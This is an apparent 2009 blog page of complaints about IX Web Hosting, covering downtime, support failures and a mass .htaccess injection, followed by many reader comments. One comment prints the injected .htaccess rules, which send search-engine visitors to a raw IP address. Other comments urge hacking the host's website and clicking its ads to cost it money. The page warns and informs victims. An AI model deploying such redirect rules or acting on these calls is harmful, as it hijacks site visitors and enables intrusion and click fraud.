Posts Tagged ‘malicious files’

“you may come to know what a brain seizure is really like after you’ve experienced the comical and incredibly maddening world of IX Web Hosting Customer Support.”

Ix web hosting worst host ever

Posted by **** *****  Dec.26, 2009 

With one of the best pricing plans, and seemingly unlimited capability, ixwebhosting.com fails to live up to any claim of service dependability. Uptime? In the past 30 days, the server hosting my websites [not associated with thedealis.com] has been down 4 times. This downtime typically lasts 3-6 hours.

Typical response from ixwebhosting tech support: Sorry!

This is the first time I have encountered this in the approx. 5 years I have used the service. I switched to different servers last month. Tech support says upgrades [blade servers] are coming in January and that ixwebhosting will “redeem themselves” with this update. I hope so!

I can’t recommend this service to anyone. Had you asked me a couple months ago, I would have raved about the service. I have not had an issue with billing or tech support previously. Is tech support located in India? Possibly. Seems lately, I reach Jahuud Hussein each time I call the 800#.

These are the issues I have encountered. What other issues are lurking within ixwebhosting? If you have had issues with ixwebhosting services, or can recommend a better hosting service – let me know!

I did find this quote from one [former] ixwebhosting customer on the web “you may come to know what a brain seizure is really like after you’ve experienced the comical and incredibly maddening world of IX Web Hosting Customer Support.”.

Original artical can be found HERE

Hahaha.. I know it is really not funny, but sometimes you just have to laugh…  The above screenshot is from www.examinarse.com  Seems like the owner packed his / her bag and left in a hurry..

While I’m here, I might as well post a few recent comments from HAPPY IX CUSTOMERS.

———————————————————————————————————————————

I hope Google ranks this website in their top search results for anyone wanting to know more about IXWebhosting. I had been with that webhost for more than 4 years and changed all my sites to a different host just last week. IXWebhosting is the most poorly managed, technically incompetent and frustrating company I have ever had the misfortune to deal with.

Why have I been with them for 4 years?
Their webhosting plans were at the time and still are pretty cheap when compared to other competitors. But its true, if you throw peanuts, you’ll get monkeys. You are ok till the time you have a website with only static (html pages). That’s what I had for 2 years. The moment you have a dynamic site, have anything to do with databases, use pages in asp or php… God save you. I’ve had nothing but trouble for the remaining 2 years pulling my hair out with every trouble ticket raised.

Customer Service
Its the most slowest, incompetent buffoons I’ve ever interacted with. Every ticket raised takes a minimum of 14 hours to be verified. Their typical replies are “everything’s ok at their end”. They do not understand your query, nor can they understand any technical issues.

Spam-
I lived with spam in each of our mailboxes for all the time I’ve ben with IXWebhosting. Spam is like its brother. Besides having issues with our mail disappearing from our mailboxes (their backup could only restore some of it as it was infrequently taken), I had to put up with tons of spam. At the time of writing this, I believe they have made the web access to the email accounts over https, but still, my experience with them was ghastly.

Server Security-
My websites were hacked many a times. Their servers are easily vulnerable to anybody. I will rate my expertise with networks and security at advanced. To test the security I have hacked into my own hosting webserver and seen the list of domains, their entire contents by simply installing a ridiculous script. I raised this issue in a trouble ticket and the response was.. you guessed it..”everything’s ok at their end”

Their famed easy to use preloaded scripts (Easy Apps collection)-
It is user friendly to install, I’ll agree. But every one of them is completely outdated, buggy to customize and of course vulnerable to hacks. Their excuse- Its the entire collection of scripts that they install when they update the server software (maybe years before). The scripts in them cannot be changed or upgraded.

Final Comments-
If you have a simple website with a couple of html pages and you don’t mind spam, if your wesite is hacked or defaced, its good value for cheap hosting.
Otherwise, Avoid Them Like The Plague… as someone else wrote in here.

I am not affiliated with anyone or anything from anywhere and all the experiences above are my own.
Archie H

=====================================================================

We have been using IX for a long time. First thing that happended was that they allowed my EX-Wife access to my account after we were divorced because she has paid by her credit card at one point for one domain name. They changed the admin panel and allowed her full access to everything because she did not pay for her domain and called them! MORORNS! We have a pro business account and they allowed her access to customers account info, OMG what a night mare! Finally after getting the police involved they fixed it. Now 3 out of 7 of our accounts have been hacked… We have not done or changed anything, in fact the accounts that have been hacked are just place holders for domanins… I have asked it to be fixed from backup 4 times so far and as of yet nothing… I am just in the process of moveing everything to a new local box and say GOOD BYE loosers!
Michael

===================================================================

Server vulnerable to hacking, infected our site, IX Web Hosting refused to acknowledge or address, arbitrarily shut us down. Luckily, we had just completed set up with an alternative server and this didn’t cost us the significant downtime, money and trouble it could have. AVOID them like the plague!
Dayl

====================================================================

 

In the beginning (up to a year ago) everything was fine. Now I have had so many problems that today I have changed my hosting company and left ix-webhosting and went to BlueHost.

My problems:
1. extremely slow server response (average response to a simple html page over 5 seconds). Regularly browser says: no server response. My customers are complaining. Maintaining my blog is almost impossible
2. ftp regularly does not work (complaint by server: too many clients, but I have just one ftp connection open)
3. average response time of trouble ticket about 24 hrs
4. tremendous problems in upgrading from php4 to php5 (I had to change ix-webhosting servers), without any help from them. They offered me help but that would cost me over 200$
5. their mysql server is slow

When I complain to them they tell me these problems are temporary and that they are about to improve it all.
Ad

=================================================================

Once again I have had a horrible experience with IX WebHosting. Here is a list of issues that I exprienced over the last year of being with them:

1. The password to the control panel keeps getting reset and I know for a fact that only a select few have access. Any changes made by those few are logged and disseminated to the rest. When I ask I am made to look like “what’s the big deal?”

2. They NEVER return calls and almost never update tickets except to close it and say that it was your fault. They refer you to the “system admin” who is a ghost as far as I am concerned then are quick to tell you that they can’t do anything else to help you.

3. Press as you might the cannot suggest when the problem can be fixed. It is like they think that your business and clients that are affected by problems don’t matter.

4. Their first level support are unskillful googlers who waste no time in presenting irrelevant rubbish explanations that clearly shows that they have missed the basics of training.

Most Recent Exerience:

Unfortunately they host my mail (haven’t gotten around to hosting my own as yet). One of my customers suddenly cannot send me any mail from their domain, at least I no longer receive it on my domain hosted with IX Webhosting.

My customer had a recent SPAM issue that was resolved however they were not blacklisted. All this time I was receiving mail fine. However a while after the issues is resolved I cannot receive any mail from them.

I try chat support who quickly tells me that I need to call in to report the problem.

ok I call and some guy is trying desparately to convince me that there is a problem with the MX records of my client. And even though I tell him that mxtoolbox gives me a clean report and also that my hosted mail is the only domain that is not receiving mail from my client along with other information he refuses listen. Eventually he gets tired and tells me that he has to get a system admin to call me back.

24 hrs later no call from any admin and I decide to log a ticket myself and describe the problem – no response.

I call back again and a young lady informs me that the issue was left untouched, whatever that means and puts me on hold after every question I answer. She then routes it to the “correct” queue and pomises me that I will receive a call.

24 hrs later no call and no update other than hers that says the call is on hold.

I update the ticket to ask what is going on?

12 hrs later no response so I call and was informed that since I updated the ticket to ask a question it was reverted to the end of the queue. Apparently I was punished for quering the status on my issue….

Another young lady can give me no indication as to an estimated resoution time or at least response time.

I ask for her supervisor who refused to give me his name but was quick to tell me that I would have to wait until the admins got around to looking at the problem.

He didn’t think it was reasonable for them to at least update the ticket and was quick to tell me that “we are just the phones” and that they couldn’t escalate beyond redirecting my problem to the admin queue. They would get to it whenever they can and I would have to wait…”there are other customers ya know?” so I have absolutely no idea how long I will be in that queue. His entire tone suggested that he had worked a tripple shift and was tired and grumpy or he simply couldn’t be bothered. Meanwhile I embarasingly have to tell my customer that I am in the process of moving my mail services which after this I definitely will.

It really upsets me when companies like this get away with such horrible service.

The least you owe your customer as a service provider is a timely and honest update(s) especially when there is a problem. Lack of communications leaves people to assume the worst and suggests that the customer is not important. It does not matter where the fault lies – you are providing a service and it should be your obligation to protect the reputaion of that service by open communications to the client at all times. As an IT consultant I can personally attribute the retension of my business not to my knowledge as much as to ensuring that my customers are always informed and have open access to me. Many times it has been my saving grace during the few hiccups I have made over the years.
Anson

=================================================================

Ordered web hosting form them on Thurs. pm, finally setup on Fri. However, could not upload web since FP extensions were not installed; I installed them from the panel. Long story, several calls to tech support, they can not get the FT issues resolved; moved up to admin. Called over the weekend and told it would be 24 hours…I had to wait in the queue. On Monday afternoon I was told give them another 4 -5 hours. I cancelled later that night about 10 pm…issue not resolved. Tech support was useless. They did offer 2 months extra time if I stayed. After 30 days I would have los the $$; they did refund my $$. I had used them for a couple years in the past without too many issues, site did go down several times. Not recommended.
Rick

===================================================================

And the list goes on and on and on, but that makes good posting for another time.

EVERYONE  knows that IX web hosting pays for high listings and “Praise Reviews’ [ read article HERE  ] and their ” Affiliate Army ” is told to SPAM boards trying to lure people to use IX Web Hosting. Do not be fooled by the low prices and  Unlimited Everything, Do NOT become a statistic, because like 1000’s before you, you WILL regret it.

Just see for yourself what REAL Customers that have NOT been paid to post positive comments about IX have to say:

http://www.webhostingreviews.com/ix-web-hosting-reviews.htm

AND

 http://www.webhostingstuff.com/review/IXWebHosting.html 

AND Another one

http://www.web-hosting-top.com/web-hosting/web-hosting-top.ixwebhosting.com-reviews

You will start noticing “Positive” reviews being posted by the Paid Affiliate Army.. but they always stand out as being Fake.

During the last 4 days Numerous People are reporting their sites are infected, and customers are being re-directed to a Russian site.
So far ALL the sites reported are hosted on NS3.IXWEBHOSTING.COM and NS4.IXWEBHOSTING.COM.
If your site is hosted on these servers, OR possibly other servers, you should check your website, by using a SEARCH ENGINE. DO NOT go directly to your site through your search bar OR shortcut, but use a Search Engine. The results are being re-directed. It will also be a matter of time before these sites will be “Blacklisted” by Google and other search Engines.

Feel Free to contact IX Web Hosting about this matter, but they will only blame you for their issues, and  lack of  knowing how to treat their customers with respect.

Please send us a message if your site has been comprimised.

This week has been a complete disaster for 1000’s of IX Web Hosting’s  customers.

reported-web-forgeryx

A new wave of the .htaccess injection is affecting 1000’s of sites, but things just get worse and worse, Google is flagging sites hosted by IX Web Hosting because of the sites being redirected to infected sites.
Some customers sites are even getting “Splashed” by Google with “‘Reported Attack Site’ ” can you imagine spending YEARS building up a reputation and then having your site and your reputation  Destroyed because of a hosting company that after 10 MONTHS!! still cannot and has not fixed this security issue…

10 MONTHS!!!  IX WEB HOSTING… You should be ASHAMED!!

Here is an example of someone who has spent YEARS working hard to build a (basic) website and a reputation, and all was lost…

This is the third time I’ve requested review and had it result in a continuation of the ban. I’m a simple artist trying to make a living while going to school. My reputation is being destroyed by this, as well as my art. I’m not a programmer but I know my html that I wrote for my site, and it’s ridiculously simple. All the 3 pages, even though it was said there where 5 pages, that were listed in webmaster tools were the same exact html files I wrote. These were:
 http://www.****art.com/ADAbout.html
http://www.****art.com/ADBreedKirin.html
http://www.****art.com/Itemhtml/directions.html     { Links killed by neverix}

I’ve downloaded and looked at the code of each of these, finding nothing wrong with them.
I also have called my Host, IXwebhosting, who crawled through my site and looked at my files. They said they couldn’t find anything either and that there seemed to be nothing wrong. They also said the ‘Reported Attack Site’ html page google slapped on top of my index wasn’t showing up for them. I had posted once on this forum before with the question: ‘WHERE is the malicious code showing up,’ and I was told how to submit a review. Google is ruining my reputation, my site, my client base, and wasting my precious time. I don’t know what to do anymore, because nothing I have done seems to have worked. I re-uploaded my site, changed permissions to 444, removed any kind of php and unnecessary files, changed my two user passwords to more secure ones, and everything else I’ve mentioned in the above text. I don’t know what else to do. I’ve spent years establishing that site and it’s reputation…years now wasted and ruined.  Please someone help me.

I hereby invite IX WEB HOSTING to send me their side of the story about this issue, I will post it on this blog for everyone to read…  It’s only fair to hear both sides of the story.

And NO, this is not just a “One Off”  see 1000’s more : http://www.google.com/search?hl=en&safe=off&q=%27Reported+Attack+Site%27+ix+web&start=0&sa=N

 

From a Unhappy  IX  customer

I was beginning to think I was crazy. My site would get hacked and I would change the password. This would keep happening over and over. Yet every time I would call in they would say it was my fault. Well today I discovered that once again my site had been hacked as well as all the other domains in my userid for them.  While going through one of my sub domains I found a hackers control panel which I downloaded and took a screen shot. I even looked around in it. I realized quite quickly that I had server root access and I could see other peoples files like I was on a regular computer. This control panel seems to have it all. Anyway here is a screen shot for all you who wonder what is going on:

I have marked my info out to spare me as well as the folder I was browsing. But this control panel seems to have any exploits you want on it with very little effort.  It even has a handy self kill button which I used. Of course I am sure they will be back and hack right back in. Meanwhile I have to look into another host.

IXhackerscreen6

CLICK ON IMAGE FOR LARGER PREVIEW

 

So many people being banned by Google, and cannot find the source of the Injection..

 I have previously posted on this blog WHY you cannot find the code.. Because  the code is NOT on your page. The code is, and can be anywhere on the server ( I have posted 3 links to the code that was hidden as a .jpg)  The code added to your site is actually an Iframe, so what you should be looking for is a small snippet of code that calls the script. ( check your Config, Header, Footer, Index.php etc.. ALL pages that get called on every page

Yesterday someone contacted me with this issue, and that person was also banned by Google, and had spent weeks trying to solve this problem.. They  finally found the code in the CONFIG File . ( thanks to this blog)
The site is now clean, but it will only be a matter of days before it is injected AGAIN!!

Here is the post I posted in December last year:

Hundreds of  IX customers, are contacting me to ask about the Injected script ( posted in a previous post) they are asking me HOW to remove it, because they cannot find it…

The Reason they cannot find it??

Because of a MASSIVE SECURITY ISSUE on IX WEB HOSTING’s SERVERS!!.. the script is NOT actually put onto any of your pages, the script is actually hidded somewhere on the server..

So far I have found 5 “seeds” .. These are the codes that are appearing  in  over 100,000 sites

( These have now been removed by ix web hosting but as you can see, the actual file is well hidden and disguised as an image. REMEMBER, this is where the files were stored that YOU can see on YOUR pages )

Remember to view the “source code” in the above links.

Very interesting is the second “seed” that is actually in an IX standard “modlogan” folder, that is standard a chmod 700 .

Secondly it should not be possible on any shared server to inject this script onto EVERY file on that server. The fact that this is happening means that IX web Hosting has not got a clue how to protect their servers, and customer web sites. 

So as you can see, this script IS  NOT actually put into your script, that is why you cannot find it.. HOWEVER, somewhere on your site, there is a bit of code  ”Calling” this script, and that appears in your pages.
Check  ALL the pages that get called for every page, ie. header, footer, index, config, sidebar etc. 

So far I have evidence and proven that the following IX servers running the following Database’s  are seeded:

  • mysql33.ixwebhosting.com
  • mysql15.ixwebhosting.com
  • mysql27.ixwebhosting.com

If you know of any others that are seeded, please let me know.

Hope this helps

:: Some people have contacted me to tell me that the Injected Script is ( also ) injected into the database, and in some cases a new table is created.
I have checked 9 databases of infected sites, and I have not yet come across the script in my Database’s, so I think that this might be “script” related, maybe that some scripts such as PhpBB2 allows for this to happen, so I recommend searching your Database for the script as well ::

=================================================================

This issue has now been going on for more than 10 months…. 1 year this May.. Will IX Web Hosting be celebrating  this milestone?

Yellow, 28th 2009f February, 2009
Glad I found this site, was minutes away from purchasing a buisness account. I will now look elsewhere.
 
Julie, 27th 2009f February, 2009
I think that the likes of Yahoo, Hotmail, Live Mail and Gmail are blocking Emails being sent from web sites hosted by ix web hosting. I had to create a Yahoo email account to snd emails to all the above, because if I send emails from my website email address, no one using a server based email provider such as the one mentioned above, never get the emails I send.. Very unprofessional, I have contacted ix 5 times now, but they just give me a boiler plate answer, there is nothing wrong.
 
mark, 26th 2009f February, 2009
Hello, What I suggest is that everyone who is having problems with your server, click on their google ads… show them what it feels like when tons of people click on your ads and the server is down. ixwebhosting.com has really bad problems with their servers. My company already moved off of ixwebshosting.com because of the constant server problems we have experienced.
 
Mike, 26th 2009f February, 2009
Ixwebhosting.com servers are really poorly run and are often down and on error. We made a mistake trusting ixwebhosting.com. Our servers has been down almost 6 times per hour, each outage lasting about 2 minutes.
 
tommy, 25th 2009f February, 2009
I would like to start a web hosting company and take all your money and then shut down all the servers!!!!! mu ahahahahahahaha
 
elawcase@gmail.com, 24th 2009f February, 2009
Hello, we continue to receive complaints about ixwebhosting.com. Should we get enough support, we can launch a class action law suit against ixwebhosting for advertising what is not true of their uptime. You can contact us at elawcase@gmail.com.
 
floristwide.com, 24th 2009f February, 2009
Hello, I cannot believe how terrible the servers are at ixwebhosting.com. It goes down everyday at least 5-10 times. Probably more than that but we catch about 5-10 times a day the outtages. We moved most all our important sites off the server NS13.ixwebhosting.com and NS14.ixwebhosting.com. However, some of our sites are still hosted on this server. You can check it to to see the performance. Our site is http://www.Floristwide.com and you can test it using alertra.com. You will see that every so often the server will go on error. It’s really frustrating and Ixwebhosting always blames it on other shared hosting sites which is not the solution we want to hear. I have no idea why ixwebhosting is rated high on this website but probably because they pay or promote this ranking. Really frustrating!
 
 
Harry, 24th 2009f February, 2009
Recieved an email today from a client saying that if you use the search option it shows an error, spent ages trying to find what the problem was, I then compared the Database Tables with the original, and TWO tables were missing, this site has not been updated for well over 5 months, and it was working fine at least up until 2 weeks ago.
ix wehosting denies they had anything to do with the sudden deletion of the tables.
 
Ian, 22nd 2009f February, 2009
3 days.. and the server is down…
 
Brice, 20th 2009f February, 2009
I have 3 websites hosted on ixwebhosting and I have had nothing but problems. They upgrade things and break you and do nothing to fix it. Their support is a joke, sometimes taking days to get problems resolved. I am actively looking for another provider. IXWebhosting is awful.
 
David, 19th 2009f February, 2009
A note about the .htaccess injection. When it happened (Early December of last year), ixwebhosting sent this email to clients:”This is a self replicating virus which is found by visiting well-known search engines. When you click on any link it may redirect you to a fake Anti-Virus 2009 website which appears to scan your system and then asks you to download the software. Once downloaded and installed it begins displaying pop ups on your desktop. At this time it collects your FTP user name and password from your own computer and uses that information to upload an exploited file named “.htaccess” to your website. Any visitors to your website will then be redirected to the fake anti-virus website.”This is not true. It’s an insult to say that I (an experienced internet user) actually downloaded the fake anti-virus program. Access to our FTP accounts was not obtained from our (the clients’) own computers, it was a security flaw on the server end. Just today ixwebhosting sent an e-mail saying that they changed everyone’s ftp passwords, obviously to cover for some more security flaws on their end.
 
Walter, 17th 2009f February, 2009
Very slow. vulnerable, crappy webhosting with 10-15 seconds page generation time.
 
David, 17th 2009f February, 2009
I have been with ixwebhosting for about a year and a half. I have had no problems except for the one time when my site (and possibly all the other ixwebhosting sites) were hacked. The .htaccess file was replaced with this:RewriteEngine On
RewriteCond %{HTTP_REFERER} .*oogle.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ahoo.*$ [NC]
RewriteRule .* http://87.248.180.89/topic.html?s=s [R,L]It didn’t hurt me because my website is private and not indexed by search engines anyway, but this is very bad. I will not be staying with ixwebhosting for the long-term. I have had no problems with tech-support though, I’ve used the live chat two or three times (with trivial issues mind you) and have not had to wait more than 10 minutes.
 
Chris from BBTA, 16th 2009f February, 2009
I see IXwebhosting’s response below… do not contact us it wastes our time… WOW. What a statement. So your customers inquiring about the status of their server that is down and they are most likely losing money and customers is a waste of your time. The is just plain out crap. If you dont care about your customer’s, customer’s then you dont care about your Customer.I have been with IX for over two years, and have a multitude of websites with them. Everything was great for the first, 10 months or so. Then they moved locations, SQL servers go down, or are extremely slow to respond, dns errors, internal server errors, failure to connect to web server errors, errors errors, down, slow, error, down slow. Catch my drift.I am in the market for a new host as I have finally grown tired of daily support tickets, phone calls and chats. Someone point me in a good direction and not godaddy i dont like them either. I am looking at dreamhost but not sure yet.
 
Laura T, 15th 2009f February, 2009
Support is so frustrating, and useless, 3 days I used the chat support to ask why my pages were suddenly getting a syntac error, I had not made any changes for months, I was told to submit a ticket, so I submitted a ticket 2 days ago, FINALLY today after 2 days I get a response telling me they had recieved my ticket and that it was forwarded to the correct department !!!!??? WHAT!!??
This is the final straw, after reading all the below complaints, and also all the stuff on http://www.ixwebhostwarning.wordpress.com
I am moving my sites away from ixwebhosting
 
Rob Stallard, 15th 2009f February, 2009
The actual service is adequate. However, they fail to deliver on technical support. On two occasions I have waited 2 days for just an initial response. They are unhelpful on chat – they just say the problem will be looked into soon – and don’t do so. Support is a network of Russians as far as I can tell. Unapologetic and unhelpful and very frustrating as there is no way a crucial techincal issue will get looked into in a timely fashion.
 
Chris, 13th 2009f February, 2009
My SQL servers are down yet again. If you talk to the online chat they will tell you nothing is wrong. IF you submit a ticket they give you a BS response. However I just called them and was honestly told (Spoke to a real tech support person not “Jeff” in freaking Pakistan) that they had a hardware failure last night and they dont know when it will be back up. And that 501 has had some issues here lately but with the replacement of the hardware this should be fixed. We will see where this leads. I dont want to change host because it is a HUGE PITA. But if I have to I will.
 
Ex IX customer, 12th 2009f February, 2009
Could somebody please hack the .htaccess file on http://www.ixwebhsoting.com. Please set it to divert everyone to a decent hosting company!Funny how their own site never gets hacked! Please, please, please… Somebody please hack their site to see how they like it.
 
Wallace, 12th 2009f February, 2009
All site is down now for ixwebhosting.You try go their website which down now.My website is down also.After see all your comment,i am worry now.Don’t know when will be up again.
 
Shira, 12th 2009f February, 2009
We’ve spent the last week uploading and creating database on our new IXWebhosting account. BIG MISTAKE. All of the database sites give random server connection errors more often than not and the server service in general is extremely unreliable. The online “Tech support” chat is a complete joke. Not once have they been able to resolve the problems we’ve communicated, and we have to chat them about 5 times a day. We’re closing our account today before serious damage is done.
 
 
 
Pete, 11th 2009f February, 2009
AVOID like the plague!!!
Every one of their web servers have been hacked in the last few months. If you have any sites with them, it’s just a matter of time before your code is injected with viruses and phishing pages or completely diverted to a scam web site.
If you have an account with them, do what I did… Get the hell out now before all of your sites are blacklisted.
Try http://www.a2hosting.com. They cost a bit more but you get what you pay for.
 
Chris, 10th 2009f February, 2009
From all the research I have done over the past months, i have never seen so many angry people and complaints as the ones complaining about ixwebhosting
IX is a lost case.. AVOID
 
FUCK YOU IX, 10th 2009f February, 2009
I’m so sick of the feeble excuses ix web hosting come up with.
I the past week I have called them at least 3 times everyday because so far my sites have been down on average 3 hours a day. Everytime I get to hear how sorry they are, and that the issue will be fixed within 20 minutes!!
It really is time to get a class case together and sue IX for compensation.
 
Erik, 09th 2009f February, 2009
All 12+ of my domains were down much of Feb. 7, 2009, and since at least the afternoon of Feb. 8, 2009, they’ve been down again, and all of my sites’ files are totally gone. They’re “still working” as of this morning, Feb. 9, 2009, but they cannot say much more. Time to move on.
 
Milano, 09th 2009f February, 2009
Today I got a call from a friend telling me my sites contained a virus, I googled my site, and when I clicked on it my Anti Virus blocked it with a warning, I then checked all my other sites and they all contain the same script. I called ix, had to wait 25 minutes, probably a lot of customers with the same problem.. I was told very bluntly that it was a well known issue with WordPress, I have been using wordpress now for 4 years, and always use the latest stable version, I contacted WordPress, and they assure me that there are no known issues with WordPress. I then called ix again, and this time they blamed my computer, saying it is infected, and that I uploaded the virus.
IX is an absolute nightmare, and I am moving all my sites away from them, and I will file a complaint with the BBB
 
Herman, 08th 2009f February, 2009
Last week I had a phone call from a customer why I had not sent them an Email, I reassured them that I had, and that I would resend it 2 days later completely pissed off because they still never got the Email. So I sent an Email to one of my own Email accounts.. I never got it, so I tried sending it to another 5 Email accounts.. out of those 5 emails I got just ONE, but it took TWO days to reach me. I contacted support on the chat, and he told me there was a backlog of mail because of a “Spam Filter” , he told me to create a Ticket which I did, I sent a ticket on Friday morning, and Today ( Monday) I still have not had a response.
So to break it down, ( this is what I know for certain) I have sent 8 emails, and only recieved ONE 2 days after I sent it!
This is absolutely absurd, now I do not know how many people I have sent Emails to that never got them.
Do yourself a big favour and stay away from ix web hosting, they just have not got a clue, or they just don’t care, or both.
 
elawcase@gmail.com, 07th 2009f February, 2009
Anyone interested to sue ixwebhosting.com due to their bad servers and not providing what they promise, please contact us at elawcase@gmail.com.I have tried many hosting companies and ixwebhosting is amongst the worst. Their server will go down frequently. We received so many complaints from our own customers that the website is not working. We get this just about everyday. And two days ago ixwebhosting.com servers were down for 4 hours. Yesterday it was down 3 hours. Today it is down now for over 2 hours and we are still waiting for the servers to work. We are hosted on NS13, NS14. This has got to be the most frustrating experience in our 9 years in ecommerce. We made the fatal error trusting to host our site with ixwebhosting.com. The first two months were okay but then after it went downhill. I think maybe they work really hard during the trial period so you cannot refund the month. I’m stuck now with a long period of webhosting plan. They won’t refund either and they will not provide you a good working server.
 
Matt, 07th 2009f February, 2009
Hello, THE SERVER IS DOWN AGAIN. Two days ago it was down for 4 hours then yesterday 3 hours.. now today it has been down for over 2 hours. I need a working server. ixwebhosting has the worst servers possible. So much downtime. They wont refund you either.
 
Help!, 05th 2009f February, 2009
Hello, can someone tell me what to do? ixwebhosting.com server has been down again and again. This is at least the 10th time in the last 12 hours. What is happening? This is our 5th complaint with them but they are not fixing it. It will maybe work for 1 hour then go back on error.
 
Richard, 05th 2009f February, 2009
Oh my GOD! The server is down again.. I’m going to move my websites ASAP.. ixwebhosting really sucks… we have to complain every day. I’m sure they have so many compplaints. Their servers are maybe just poorly managed. But it’s bad.
 
Richard, 05th 2009f February, 2009
Hello, I just checked the server. It is now working but after 4 hours of downtime. This is really unprofessional hosting. It’s cheap but you really get worse than what you pay for. Ixwebhosting.com is cheap and bad. I would rename it ixwebrobbing.com
 
John – HELP SERVER DOWN, 05th 2009f February, 2009
Hello I cannot believe how many times the server is down.. It has been down for over 1 hour and now they are telling us another hour. This server really sucks.. here’s the chat logs.Lesya Geychenko: Sorry, we really experience some problems on our server, but I want to ensure you that this is temporary and we will fix them as soon as possibleyou: pls .. it has been down for 1 hour

you: every day down

Lesya Geychenko: I am so sorry, our admins are working on the issue

Lesya Geychenko: Sorry, we do not have any ETA yet, the issue will be fixed as soon as possible

you: we have to contact ixwebhosting just about everyday about the servers being down.. this is not the service we have paid for

Lesya Geychenko: I understand your concerns about this, you can create a ticket and provide statistics on the server side issue and ask for permanent solution

you: we have already

you: what’s going on?

you: over 1 hour

you: hello, any updates so far?

Lesya Geychenko: Yes, our admins are working on the issue, they will send a notification to me when they finish

you: please

Lesya Geychenko: The issue should be fixed within 15 minutes

you: ok

Lesya Geychenko: I am extremely sorry to tell you, I just got the news from our admins

you: ok

Lesya Geychenko: They maintain the server longer than I have expected

Lesya Geychenko: The server will be up in 60 minutes

you: ixwebhosting is really unreliable…..

 
ixwebhosting.com, 05th 2009f February, 2009
Hello we understand our server is down for about 1 hour. We will fix it as soon as possible. Please do not bother us with your enquiries because it wastes our time. We are trying our best. If you don’t like it, please do not contact us or join our excellent web hosting server. You can see on this website we are rated very high. We are not interested in people just complaining and bothering us about our servers. We know it is currently experiencing problems but we will fix it!
 
Heidi, 03rd 2009f February, 2009
Just got off the phone with ix, for the past 2 weeks every evening at 6 o clock my sites stop loading, and I cannot retrieve my Emails. It is so frustrating that the support just say that everything is working fine. I’ll be looking to move my sites.
 
Matt, 02nd 2009f February, 2009
The server is currently down. IT is down about every 5-10 minutes for 30 seconds – 2minutes. Right now it has been down for over 10 minutes. We need to get to our database and info but we can’t. This is just bad for us. ixwebhosting.com really cannot get it right. We have contacted them over 100 times in the past month but they keep saying they fixed the problem. I don’t see how ixwebshosting rating is high on the right menu on this website. It means they probably get some cut when referring clients.

In the past months, 1000’s of IX Web Hosting’s customers finally turned their back on the “Cheap, Unreliable and Insecure ” Web Host. This was due to the fact that more than 140,000 sites were hacked and injected on a WEEKLY bases, things got so bad that even the “Backups” were infected and deemed useless.
From   May 2008 onwards IX Web Hosting continueously blamed their customers, mayor search engines, WordPress, Joomla, and every script on the market, actually, it was everyone’s fault, except IX Web Hosting.

The past 4 weeks I have recieved and seen an alarming amount of customers furious about the “Downtime” of their sites.

Downtimes of  6+ hours is normal…

I am curious who IX WEB HOSTING is going to blame this time

Shira, 12th 2009f February, 2009
We’ve spent the last week uploading and creating database on our new IXWebhosting account. BIG MISTAKE. All of the database sites give random server connection errors more often than not and the server service in general is extremely unreliable. The online “Tech support” chat is a complete joke. Not once have they been able to resolve the problems we’ve communicated, and we have to chat them about 5 times a day. We’re closing our account today before serious damage is done.

Pete, 11th 2009f February, 2009
AVOID like the plague!!!
Every one of their web servers have been hacked in the last few months. If you have any sites with them, it’s just a matter of time before your code is injected with viruses and phishing pages or completely diverted to a scam web site.
If you have an account with them, do what I did… Get the hell out now before all of your sites are blacklisted.
Try www.**********.com. They cost a bit more but you get what you pay for.

F**K YOU IX, 10th 2009f February, 2009
I’m so sick of the feeble excuses ix web hosting come up with.
I the past week I have called them at least 3 times everyday because so far my sites have been down on average 3 hours a day. Everytime I get to hear how sorry they are, and that the issue will be fixed within 20 minutes!!
It really is time to get a class case together and sue IX for compensation.
Erik, 09th 2009f February, 2009
All 12+ of my domains were down much of Feb. 7, 2009, and since at least the afternoon of Feb. 8, 2009, they’ve been down again, and all of my sites’ files are totally gone. They’re “still working” as of this morning, Feb. 9, 2009, but they cannot say much more. Time to move on.

Milano, 09th 2009f February, 2009
Today I got a call from a friend telling me my sites contained a virus, I googled my site, and when I clicked on it my Anti Virus blocked it with a warning, I then checked all my other sites and they all contain the same script. I called ix, had to wait 25 minutes, probably a lot of customers with the same problem.. I was told very bluntly that it was a well known issue with WordPress, I have been using wordpress now for 4 years, and always use the latest stable version, I contacted WordPress, and they assure me that there are no known issues with WordPress. I then called ix again, and this time they blamed my computer, saying it is infected, and that I uploaded the virus.
IX is an absolute nightmare, and I am moving all my sites away from them, and I will file a complaint with the BBB
Herman, 08th 2009f February, 2009
Last week I had a phone call from a customer why I had not sent them an Email, I reassured them that I had, and that I would resend it 2 days later completely pissed off because they still never got the Email. So I sent an Email to one of my own Email accounts.. I never got it, so I tried sending it to another 5 Email accounts.. out of those 5 emails I got just ONE, but it took TWO days to reach me. I contacted support on the chat, and he told me there was a backlog of mail because of a “Spam Filter” , he told me to create a Ticket which I did, I sent a ticket on Friday morning, and Today ( Monday) I still have not had a response.
So to break it down, ( this is what I know for certain) I have sent 8 emails, and only recieved ONE 2 days after I sent it!
This is absolutely absurd, now I do not know how many people I have sent Emails to that never got them.
Do yourself a big favour and stay away from ix web hosting, they just have not got a clue, or they just don’t care, or both.

 

elawcase@gmail.com, 07th 2009f February, 2009
Anyone interested to sue ixwebhosting.com due to their bad servers and not providing what they promise, please contact us at elawcase@gmail.com.

I have tried many hosting companies and ixwebhosting is amongst the worst. Their server will go down frequently. We received so many complaints from our own customers that the website is not working. We get this just about everyday. And two days ago ixwebhosting.com servers were down for 4 hours. Yesterday it was down 3 hours. Today it is down now for over 2 hours and we are still waiting for the servers to work. We are hosted on NS13, NS14. This has got to be the most frustrating experience in our 9 years in ecommerce. We made the fatal error trusting to host our site with ixwebhosting.com. The first two months were okay but then after it went downhill. I think maybe they work really hard during the trial period so you cannot refund the month. I’m stuck now with a long period of webhosting plan. They won’t refund either and they will not provide you a good working server.

John – HELP SERVER DOWN, 05th 2009f February, 2009
Hello I cannot believe how many times the server is down.. It has been down for over 1 hour and now they are telling us another hour. This server really sucks.. here’s the chat logs.

Lesya Geychenko: Sorry, we really experience some problems on our server, but I want to ensure you that this is temporary and we will fix them as soon as possible

you: pls .. it has been down for 1 hour

you: every day down

